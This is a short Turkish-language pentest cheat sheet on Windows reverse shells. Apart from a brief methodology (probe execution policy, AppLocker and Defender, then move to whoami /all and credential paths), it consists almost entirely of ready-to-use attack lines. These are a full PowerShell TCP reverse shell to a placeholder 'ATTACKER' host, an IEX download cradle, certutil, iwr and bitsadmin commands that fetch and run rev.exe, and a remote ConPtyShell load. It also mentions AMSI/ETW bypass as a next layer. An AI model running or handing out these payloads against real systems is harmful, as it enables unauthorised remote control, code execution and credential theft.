Reverse Shells - Windows
generic difficulty: orta
Windows’ta one-liner PowerShell yaygındır; AV/EDR gürültüsü yüksek olabilir. Alternatif: staging (download → execute) veya C2 beacon.
Metodoloji
Section titled “Metodoloji”-
Execution policy / AppLocker / WD durumunu kabaca ölç.
-
PowerShell TCP client veya indirilen native payload dene.
-
Stabil shell sonrası
whoami /allve credential yollarına geç.
PowerShell TCP
Section titled “PowerShell TCP”$c=New-Object Net.Sockets.TCPClient('ATTACKER',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"İndirme + çalıştırma
Section titled “İndirme + çalıştırma”certutil -urlcache -split -f http://ATTACKER/rev.exe %TEMP%\rev.exe & %TEMP%\rev.exeiwr http://ATTACKER/rev.exe -OutFile $env:TEMP\rev.exe; Start-Process $env:TEMP\rev.exebitsadmin /transfer j http://ATTACKER/rev.exe %TEMP%\rev.exe & %TEMP%\rev.exeConPty / daha iyi TTY
Section titled “ConPty / daha iyi TTY”IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell ATTACKER 443AMSI/ETW bypass veya obfuscation ortamına göre ayrı katmandır; önce en sade payload’un outbound’a çıkıp çıkmadığını doğrula.